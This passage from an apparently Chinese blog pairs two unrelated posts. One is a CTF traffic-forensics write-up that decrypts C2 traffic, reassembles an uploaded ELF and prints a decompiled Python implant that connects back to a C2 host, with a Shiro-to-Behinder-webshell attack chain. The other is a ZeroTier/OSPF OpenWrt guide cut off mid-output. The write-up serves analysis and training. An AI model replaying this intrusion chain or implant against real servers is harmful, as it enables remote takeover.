b'Fq\x05e\x88\x00\x9dZ\xad\x8a\x06\x85\xa2\xe7y\x04\xba\xbb\x05\\V&\x985\x82\\T\xad\x05\x0c>' cfb: 0: len31: b'b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd9\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' iv:key[:16]s ctr: 0: len31: b'\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x86\xdf\xd4\xb0\x90=\xfe\xd3\xd58\x13)\xc5\x0e,' 1: len36: b'B\x1c"\xb0\xfd\xd8-\xe6\x99\xc9\xf76(\x93E\xa8\x06\xd2\xefg(4\xa0\xb8\xf2\xd6\x97\x08C\xd9e\x01*\x8au\xf6' 2: len30: b"\xe3\xcb\x99\x98'\x7f \xfa\x80\x14Y>}p\x00\xca\xd5C\xf0\xb7wuw\xec\xab\xb5\x9c\xfd\n<" 3: len31: b'$\xe5\xc9.\xbb\xceC\xacF\t\xde7\\\x96\xd1\xc7\xdf#\x87\xfd\xe31\x81<\xa4\x8d\x9f\xbd\x070\xbf' 4: len48: b'\xd7\xf2x"\x87M{\xf5y\x8d7\xed\xfb\x8c[UC@?\xd2\x08\xb0\x0b5E\x05/\xe8\xd80s\xfa\xb0N\xd4\xc6\x14\xc4\xb4^y\x0c\xa3-\x1e\x00I\x03' 5: len43: b"\xbb\x8a\xdf'f\xe0-\x98\x96%-\xdb>W\xaaS=R\xc3\xa6W\xf6{\x138\x86\xecGzO\xad(\xfdn#i\x9a\x9b\xb4\xb9%+5" 6: len110: b'0\xf8D\xf0%\x9eb\x128\xd5mB\xe3z\xfe\xaf\xaa\xbe!\x1c\xbf XUV|>\x87\x0bBCu\x12O\x98^,+\xeb\xffl\x80\x88\x8f\xe8\xfe\xa8\xb9f\xa1\x93\x94\x13\xfe\xc7\xa98\xa8\x8a\x10\xae\xa1\xe7bC\xa6J\x99\xd7JR\x85\xa5\n_\xb0\xbf\xa6D\xc8S\x00ae@"\x01\xb1\x8a\x16\xd4WY\x16,7\xa4_\xa0\xe3\xaei\x02H\x02\xe9u\xc1\x86.' 7: len105: b"\xe8\xe4\xe5'5Z\xbd\xdfo\x89\xcf\x8c\xe2\xda\x10\x86Y\xfd\xa2\x92\x18r\xea\xa1\x15\x9an\x13\xec\x89F\x93\xbb\x9a]d>\x02\x85\xccj\xf8\x97\xc9\x18\x00\xf2\x06\x1bB.\x96\xc0\xf6\xdf~\xee\x17\x8e\xcaiH\xdb\xf8\x98\xb9}\xd5x\x93M\xa1\x00\xb2f\xfc\xc7X'I\xd1$\x03A\xd2Z\xaah\xc5Q>\x05\xe1*\xeehS\xe4\xe0\xe7`\xf0l\xa6\x01" 8: len36: b"8\x01A\xe1\xea<O\x81{2\xdaw\xa6\xc6\x83uP'\x87F\xe0\x7f\xdd\xbd\x00\xdd{\xc1#\x98Ay\xce\xbe\xebb" 9: len31: b'\xb0\x94cs\xdfd\xbb\xc0E\xa9\x88F(\t}\x82\x92\xf7\x90g\xe82\x85\xf7r\xa3M\x0f\xc6\xa1.' cfb: 0: len31: b'\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d' 1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04" 2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me' 3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6' 4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03' 5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O' 6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2' 7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' {/collapse-item} {/collapse} 最后尝试到GCM发现可能性很大，首先前两个发送的指令长度分别是$\frac{62}{2}=31$个字符和$\frac{60}{2}=30$个字符，如果对应前面发现的测试时惯用的指令pwd和ls，能够对应上剩下28个固定字符，符合GCM的特征。尝试使用GCM解密： import base64 import binascii from Crypto.Cipher import AES key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) i = 0 chunk_idx = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] i += length nonce = chunk[:12] ciphertext = chunk[12:-16] tag = chunk[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}") chunk_idx += 1 得到： 0: len3: b'pwd' 1: len8: b'/var/tmp' 2: len2: b'ls' 3: len3: b'out' 4: len20: b'echo Congratulations' 5: len15: b'Congratulations' 6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 8: len8: b'echo bye' 9: len3: b'bye' 将3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi丢进CyberChef，Base58+Base64解密后得到Flag：dart{d9850b27-85cb-4777-85e0-df0b78fdb722} 后续在尝试完整提取并逆向其中分片上传的二进制，因为发现payload本身有个blockIndex，用于索引当前是第几部分。 让AI写了个完整逆向分析Java class并寻找索引和内容并拼接输出的脚本： import os import re import base64 import subprocess import concurrent.futures from Crypto.Cipher import AES # --- 配置区 --- KEY = b"1f2c8075acd3d118" DIR = "export" # Wireshark 导出的 HTTP 对象所在文件夹 OUTPUT = "real_out.elf" # 最终合并生成的文件 CFR_JAR_PATH = "cfr.jar" # 替换为你下载的 cfr.jar 的实际文件名 MAX_WORKERS = 16 # 线程数：你可以根据 CPU 核心数调大，比如 16、32 def decrypt_to_class(data): try: cipher = AES.new(KEY, AES.MODE_ECB) dec = cipher.decrypt(base64.b64decode(data)) return dec[:-dec[-1]] except Exception: return b"" def decompile_and_extract(class_file_path): try: result = subprocess.run( ['java', '-jar', CFR_JAR_PATH, class_file_path], capture_output=True, text=True, check=True ) source_code = result.stdout index_pattern = r'blockIndex\s*(?:\+?=|=\s*(?:this\.)?blockIndex\s*\+)\s*"(\d+)"' content_pattern = r'content\s*(?:\+?=|=\s*(?:this\.)?content\s*\+)\s*"([A-Za-z0-9+/=]+)"' index_match = re.search(index_pattern, source_code) content_match = re.search(content_pattern, source_code) if index_match and content_match: return int(index_match.group(1)), content_match.group(1) except Exception as e: pass return None, None def process_single_file(fname): """ 单个线程执行的任务：读取、解密、写临时文件、反编译、提取、清理临时文件 """ path = os.path.join(DIR, fname) with open(path, "rb") as f: body = f.read().strip() java_class_bytes = decrypt_to_class(body) if java_class_bytes.startswith(b"\xca\xfe\xba\xbe"): # 确保每个线程的临时文件名唯一，防止冲突 temp_class = f"temp_{fname}.class" with open(temp_class, "wb") as f: f.write(java_class_bytes) block_idx, content_b64 = decompile_and_extract(temp_class) # 清理临时文件 if os.path.exists(temp_class): os.remove(temp_class) if block_idx is not None and content_b64 is not None: try: actual_chunk = base64.b64decode(content_b64) return block_idx, actual_chunk, fname except Exception as e: return None, f"解码异常: {e}", fname return None, "无效的 Class 或解密失败", fname def main(): files = [f for f in os.listdir(DIR) if os.path.isfile(os.path.join(DIR, f))] print(f"[*] 找到 {len(files)} 个文件。启动 {MAX_WORKERS} 个线程疯狂反编译中...") chunks_dict = {} # 启动线程池 with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor: # 提交所有任务 future_to_file = {executor.submit(process_single_file, fname): fname for fname in files} # as_completed 会在某个线程完成时立刻 yield，可以实时看到进度 for future in concurrent.futures.as_completed(future_to_file): block_idx, result_data, fname = future.result() if block_idx is not None: chunks_dict[block_idx] = result_data print(f"[+] {fname} -> 提取成功: 块索引 [{block_idx}]") elif "无效" not in result_data: # 过滤掉非目标流量的报错干扰，只打印真的出错了的 print(f"[-] {fname} -> 提取失败: {result_data}") if not chunks_dict: print("\n[-] 未提取到任何有效数据块。") return print(f"\n[*] 所有 {len(chunks_dict)} 块提取完毕。开始按 blockIndex 精准重组...") sorted_indices = sorted(chunks_dict.keys()) with open(OUTPUT, "wb") as f: for idx in sorted_indices: print(f"[*] 写入块索引 [{idx}]") f.write(chunks_dict[idx]) print(f"[!] 完美重组完成！生成文件：{OUTPUT}") if __name__ == "__main__": main() 发现是一个Pyinstaller打包的elf。解压，逆向其中的inspect.pyc，得到： # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.9 import os import socket import struct import subprocess import argparse import settings import base64 from cryptography.hazmat.primitives.ciphers.aead import AESGCM SERVER_LISTEN_IP = '10.1.243.155' SERVER_LISTEN_PORT = 7788 IMPLANT_CONNECT_IP = '10.1.243.155' IMPLANT_CONNECT_PORT = 7788 SERVER_LISTEN_NUM = 20 _aesgcm = None def set_aes_key(key_b64 = None): global _aesgcm key = base64.b64decode(key_b64) if len(key) not in (16, 24, 32): raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）') _aesgcm = None(key) def encrypt_data(data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') nonce = None.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None) return nonce + ciphertext def decrypt_data(encrypted_data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') if None(encrypted_data) < 28: raise ValueError('加密数据太短，无法包含 nonce 和认证标签') nonce = None[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None) return plaintext def exec_cmd(command, code_flag): command = command.decode('utf-8') # WARNING: Decompyle incomplete def send_data(conn, data): if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data) def recv_data(sock, buf_size = (1024,)): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b'' if recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size continue data = settings.decrypt_data(encrypted_data) return data def main(): sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk' if os.name == 'nt' else 'utf-8' # WARNING: Decompyle incomplete if __name__ == '__main__': parser = argparse.ArgumentParser('', **('description',)) parser.add_argument('--aes-key', True, '', **('required', 'help')) args = parser.parse_args() settings.set_aes_key(args.aes_key) main() 也证明了猜想，确实是GCM （不过这一看就是ai出的罢） 梳理 完整的链条应该是这样的： sequenceDiagram participant Attacker as 攻击者 (Attacker / C2 Server) participant WebServer as Web 应用层 (Shiro / Behinder WebShell) participant OS as 底层系统 (Linux OS) rect rgb(240, 248, 255) note right of Attacker: 阶段一：Shiro 漏洞利用与 RCE Attacker->>WebServer: 持续爆破 rememberMe Cookie (CVE-2016-4437) WebServer-->>Attacker: 302 跳转 (爆破成功获取 AES Key) Attacker->>WebServer: 发送 RCE Payload (Authorization头传递命令) WebServer->>OS: 派生进程执行命令 (whoami, ls -la 等) OS-->>WebServer: 返回标准输出结果 (root 等) WebServer-->>Attacker: 返回 Base64 加密的命令结果 end rect rgb(255, 240, 245) note right of Attacker: 阶段二：注入内存马与后渗透探测 Attacker->>WebServer: POST 请求注入 Behinder(冰蝎) 内存马 WebServer-->>Attacker: 返回注入成功标识 (->|Success|<-) Attacker->>WebServer: 访问 /favicondemo.ico 发送 AES 加密的 Java Class WebServer->>OS: 读取环境变量、网络信息、遍历 /tmp 与 /var/tmp 目录 OS-->>WebServer: 返回底层系统状态和文件列表 WebServer-->>Attacker: 返回 AES 加密的探测结果 end rect rgb(240, 255, 240) note right of Attacker: 阶段三：分片上传与执行持久化木马 Attacker->>WebServer: 多次发包分片上传二进制 ELF 木马 WebServer->>OS: 将 Payload 块追加写入 /var/tmp/out Attacker->>WebServer: 发送 Hash 校验请求 WebServer->>OS: 计算落地文件 /var/tmp/out 的 MD5 Hash OS-->>WebServer: 校验通过 WebServer-->>Attacker: 返回 Hash 值确认文件完整性 Attacker->>WebServer: 发送命令 chmod +x out 及 ./out --aes-key ... WebServer->>OS: 赋予执行权限并带密钥参数运行木马程序 end rect rgb(255, 253, 230) note right of Attacker: 阶段四：TCP 反连与深层控制 OS->>Attacker: Pyinstaller 木马向 C2 发起 TCP 反向连接 (10.1.243.155:7788) Attacker->>OS: 发送基于 AES-GCM 加密的指令 (pwd, ls, echo) OS-->>Attacker: 返回加密的执行结果 (最终输出 Flag) end 阶段一：Shiro 漏洞利用与 RCE 验证 攻击者通过发送包含 rememberMe Cookie 的 GET 请求，成功爆破出 Apache Shiro 的 AES 密钥。 随后，攻击者利用 Authorization 头传递加密命令，Web 服务器执行了 whoami 等命令，并返回了 Base64 加密的执行结果 root。 阶段二：植入内存 WebShell 与初步控制 攻击者向 / 路径发送携带 Java 类的 POST 请求，成功注入冰蝎（Behinder）内存马，并将 C2 通信信道建立在 /favicondemo.ico 路径上。 攻击者通过该信道下发经过 AES 加密的 Java Class，利用 Web 服务层读取了底层系统的环境变量、IP 信息（172.18.0.2），并执行了基础系统命令（如 ps -ef）。 阶段三：恶意木马上传与落地执行 攻击者通过 WebShell，利用 blockIndex 和 blockSize 参数将一个 ELF 二进制文件分片追加写入到系统的 /var/tmp/out 路径下，并进行了 Hash 校验（a0275c1593af1adb）。 攻击者下发 Shell 命令 chmod +x out 赋予文件执行权限，并通过 ./out --aes-key ... 在底层系统运行了该木马。 阶段四：TCP 反连获取 Flag 底层的 Python 恶意木马运行后，直接绕过 Web 层面，主动向攻击者的 C2 服务器（10.1.243.155:7788）发起 TCP 连接。 双方切换至 AES-GCM 算法进行通信，攻击者下发 pwd、ls、echo Congratulations 等远控指令，并在最终的回包中获取到了 Flag。 总的来说还是挺有意思（？
[整活向] 跨越 20km 的局域网: 在 OpenWrt 上使用 ZeroTier + OSPF 实现异地内网无感融合
起因 本来在配自己的 ZeroTier 大内网, 因为网络结构比较复杂, 所以采用 OSPF 而不是静态路由来配置内部路由. 之前尝试给自家 OpenWrt 上配置 ZeroTier 但是一直没成功, 这两天重新拿出来折腾了一下发现是 OpenWrt 的配置问题, 修好之后和好朋友闲聊的时候就想到: 说干就干, 开整( 基本信息 本地 路由器系统: OpenWrt, X-WRT 26.04_b202601250827 局域网 IPv4 前缀: 192.168.3.0/24 运营商: 合肥联通 NAT 环境: NAT1 对端 路由器系统: OpenWrt, X-WRT 25.04_b202510240128 局域网 IPv4 前缀: 192.168.1.0/24 运营商: 合肥移动 NAT 环境: NAT1 安装 ZeroTier 并使用自托管 Planet 我使用了 ZTNet 作为自托管 Controller , 搭建过程这里就不过多赘述了, 上网找一下就能找到. 我使用的 OpenWrt 版本已经开始使用 apk 代替 opkg 作为包管理器. 使用 apk 可直接安装 zerotier-one: apk add zerotier 完成后打开 /etc/config/zerotier 可找到默认配置文件. config zerotier 'global' # Sets whether ZeroTier is enabled or not option enabled 0 # Sets the ZeroTier listening port (default 9993; set to 0 for random) #option port '9993' # Client secret (leave blank to generate a secret on first run) option secret '' # Path of the optional file local.conf (see documentation at # https://docs.zerotier.com/config#local-configuration-options) #option local_conf_path '/etc/zerotier.conf' # Persistent configuration directory (to perform other configurations such # as controller mode or moons, etc.) #option config_path '/etc/zerotier' # Copy the contents of the persistent configuration directory to memory # instead of linking it, this avoids writing to flash #option copy_config_path '1' # Network configuration, you can have as many configurations as networks you # want to join (the network name is optional) config network 'earth' # Identifier of the network you wish to join option id '8056c2e21c000001' # Network configuration parameters (all are optional, if not indicated the # default values are set, see documentation at # https://docs.zerotier.com/config/#network-specific-configuration) option allow_managed '1' option allow_global '0' option allow_default '0' option allow_dns '0' # Example of a second network (unnamed as it is optional) #config network # option id '1234567890123456' # option allow_managed '1' # option allow_global '0' # option allow_default '0' # option allow_dns '0' 按照需求修改一下: config zerotier 'global' option enabled '1' # 启用 ZeroTier 客户端服务 option config_path '/etc/zerotier' # 持久化目录: 用于存放身份秘钥(identity)、Moon节点定义和网络设置 option secret '' # 秘钥留空: 首次启动会自动生成身份并存入 identity.secret 文件 option copy_config_path '1' # 保护闪存策略: 启动时将配置考入内存运行. 若设为 0, 则直接在 Flash 上读写 config network 'earth' option id '<network ID>' # 16位 ZeroTier 网络标识符 option allow_managed '1' # 允许接收控制器分配的 IP 地址、路由和标签 option allow_global '1' # 允许通过 ZeroTier 分配全球单播 IPv6 地址 (GUA) option allow_default '0' # 允许 ZeroTier 接管默认网关(实现类似全局代理的效果) option allow_dns '1' # 允许接收并设置 ZeroTier 控制面板中配置的 DNS 服务器 关于 copy_config_path '1' 因为 ZeroTier 工作目录 /var/lib/zerotier-one 在OpenWrt下属于 tmpfs , 重启后这里的内容会被清空, 因此需要将 planet ,identity, network 等配置放到路由器的 Flash 存储中, 即 config_path 配置的路径. 默认逻辑是启动的时候将配置的 config_path 软链接到 /var/lib/zerotier-one 实现配置持久化, 一切 /var/lib/zerotier-one 下的读写操作都会被写入到 Flash. 但是问题就是 ZeroTier 的频繁读写会导致 Flash 寿命折损比较快. 而开启 copy_config_path '1' 则会指定当 ZeroTier 启动的时候, 将 config_path 中的配置直接复制到 /var/lib/zerotier-one, 极大延长了路由器内部 Flash 的寿命, 但是问题是通过 zerotier-cli 做的一些修改默认不会直接同步到 Flash, 因此不适合需要经常调整配置的使用场景. 完成修改后使用 /etc/init.d/zerotier start /etc/init.d/zerotier enable 来启动 ZeroTier 并开启开机自启. 第一次启动时若上面 secret 配置项留空, 则会自动生成. 启动完成后将 /var/lib/zerotier-one 下的所有文件复制到 /etc/zerotier. 将 Planet 文件下载到上面设置的 config_path 中, 即 /etc/zerotier. 完成后重启 ZeroTier: /etc/init.d/zerotier restart 即可. 接着去 ZeroTier Controller 控制台, 就能看到新设备接入了. 接着可能需要允许 ZeroTier 流量通过防火墙, 这一步可参考网上其他教程. 我选择直接放行所有, NAT1下应该不会有太大问题. 安装并配置 Bird2 没想到 apk 里的 Bird2 是非常新的版本, 截止本文写作时间 2026-02-10, apk 里的 Bird2 版本为 2.18 使用如下指令安装: apk add bird2 # bird daemon 本体 apk add bird2c # birdc 指令 因为 OpenWrt 默认的 bird 配置文件存放在 /etc/bird.conf, 而我习惯按照不同的功能分不同的文件夹实现模块化引用, 因此我选择将默认配置文件改到 /etc/bird/bird.conf, 并在该文件夹下存放不同配置文件. 打开 /etc/init.d/bird: #!/bin/sh /etc/rc.common # Copyright (C) 2010-2017 OpenWrt.org USE_PROCD=1 START=70 STOP=10 BIRD_BIN="/usr/sbin/bird" BIRD_CONF="/etc/bird.conf" BIRD_PID_FILE="/var/run/bird.pid" start_service() { mkdir -p /var/run procd_open_instance procd_set_param command $BIRD_BIN -f -c $BIRD_CONF -P $BIRD_PID_FILE procd_set_param file "$BIRD_CONF" procd_set_param stdout 1 procd_set_param stderr 1 procd_set_param respawn procd_close_instance } reload_service() { procd_send_signal bird } 修改 BIRD_CONF 值为 /etc/bird/bird.conf: - BIRD_CONF="/etc/bird.conf" + BIRD_CONF="/etc/bird/bird.conf" 然后新建 /etc/bird文件夹, 之后的 OSPF 配置文件全都放在这里. 配置 OSPF 我的配置文件结构遵循如下规则: 由 /etc/bird/bird.conf 作为唯一入口点, 在这里定义一些基础的配置项, 如 Router ID, 过滤器网段, 接着由该文件引用其他子项的配置 不同网络的配置放在不同的文件夹下, 如公网部分放在 /etc/bird/inet/, DN42 部分放在 /etc/bird/dn42/, 自己的内网部分放在 /etc/bird/intra/ 不同的网络都由一个 defs.conf 处理那些公共的函数 (类似于 Golang 开发时写的 utils? ) 因此最终的配置文件结构如下： /etc/bird/bird.conf: 配置文件入口点 define INTRA_ROUTER_ID = 100.64.0.100; define INTRA_PREFIX_V4 = [ 100.64.0.0/16+, 192.168.0.0/16+ ]; # 允许被 OSPF 传递的 IPv4 前缀 define INTRA_PREFIX_V6 = [ fd18:3e15:61d0::/48+ ]; # 允许被 OSPF 传递的 IPv6 前缀 protocol device { scan time 10; }; ipv4 table intra_table_v4; # 定义内部路由 IPv4 路由表 ipv6 table intra_table_v6; # 定义内部路由 IPv6 路由表 include "intra/defs.conf"; include "intra/kernel.conf"; include "intra/ospf.conf"; 这里的 RouterID 我直接拿的这台机器在 ZeroTier 内网的 IPv4 地址. 分表是为了后期如果要为这台机器接入 DN42, 分表会比较安全. /etc/bird/intra/defs.conf: 过滤器所用的函数 function is_intra_net4() { return net ~ INTRA_PREFIX_V4; } function is_intra_net6(){ return net ~ INTRA_PREFIX_V6; } function is_intra_dn42_net4(){ return net ~ [ 172.20.0.0/14+ ]; } function is_intra_dn42_net6(){ return net ~ [ fd00::/8+ ]; } /etc/bird/intra/kernel.conf: 将 OSPF 学习到的路由写入系统路由表 protocol kernel intra_kernel_v4 { kernel table 254; scan time 20; ipv4 { table intra_table_v4; import none; export filter { if source = RTS_STATIC then reject; accept; }; }; }; protocol kernel intra_kernel_v6 { kernel table 254; scan time 20; ipv6 { table intra_table_v6; import none; export filter { if source = RTS_STATIC then reject; accept; }; }; }; /etc/bird/intra/ospf.conf: OSPF 模块 protocol ospf v3 intra_ospf_v4 { router id INTRA_ROUTER_ID; # 指定 RouterID ipv4 { table intra_table_v4; # 指定路由表 import where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP; export where is_intra_dn42_net4() || is_intra_net4() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 intra_ospf_v6 { router id INTRA_ROUTER_ID; # 指定 RouterID ipv6 { table intra_table_v6; # 指定路由表 import where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP; export where is_intra_dn42_net6() || is_intra_net6() && source != RTS_BGP; }; include "ospf/*"; }; /etc/bird/intra/ospf/backbone.conf: OSPF 区域配置 area 0.0.0.0 { interface "br-lan" { stub; }; # 本地内网网卡 interface "zta7oqfzy6" { # ZeroTier 网卡 type broadcast; cost 100; hello 20; }; }; 完成后使用: /etc/init.d/bird start /etc/init.d/bird enable 来启动 Bird 并开启开机自启. 如果没问题的话便可以使用 birdc s p 查看 Bird 状态. 如果不出意外的话等对方配置好应该能看到 OSPF 状态是 Running 了: root@X-WRT:/etc/bird# birdc s p BIRD 2.18 ready. Name Proto Table State Since Info device1 Device --- up 14:28:02.410 intra_kernel_v4 Kernel intra_table_v4 up 14:28:02.410 intra_kernel_v6 Kernel intra_table_v6 up 14:28:02.410 intra_ospf_v4 OSPF intra_table_v4 up 14:28:02.410 Running intra_ospf_v6 OSPF intra_table_v6 up 14:31:38.389 Running 在朋友那边也按照这套流程走一遍, 等双方都是 Running 状态, 就可以通过 birdc s r protocol intra_ospf_v4 查看 OSPF 学到的路由. 发现已经可以正常学习到通过 ZeroTier 的通往对方的路由: root@X-WRT:/etc/bird# birdc s r protocol intra_ospf_v4 BIRD 2.18 ready. Table intra_table_v4: ... 192.168.1.0/24 unicast [intra_ospf_v4 23:20:21.398] * I (150/110) [100.64.0.163] via 100.64.0.163 on zta7oqfzy6 ... 192.168.3.0/24 unicast [intra_ospf_v4 14:28:02.511] * I (150/10) [100.64.0.100] dev br-lan 在 PC 上 Ping 朋友家的服务器也可以 Ping 通: iyoroy@iYoRoy-PC:~$ ping 192.168.1.103 PING 192.168.1.103 (192.168.1.103) 56(84) bytes of data. 64 bytes from 192.168.1.103: icmp_seq=1 ttl=63 time=54.3 ms 64 bytes from 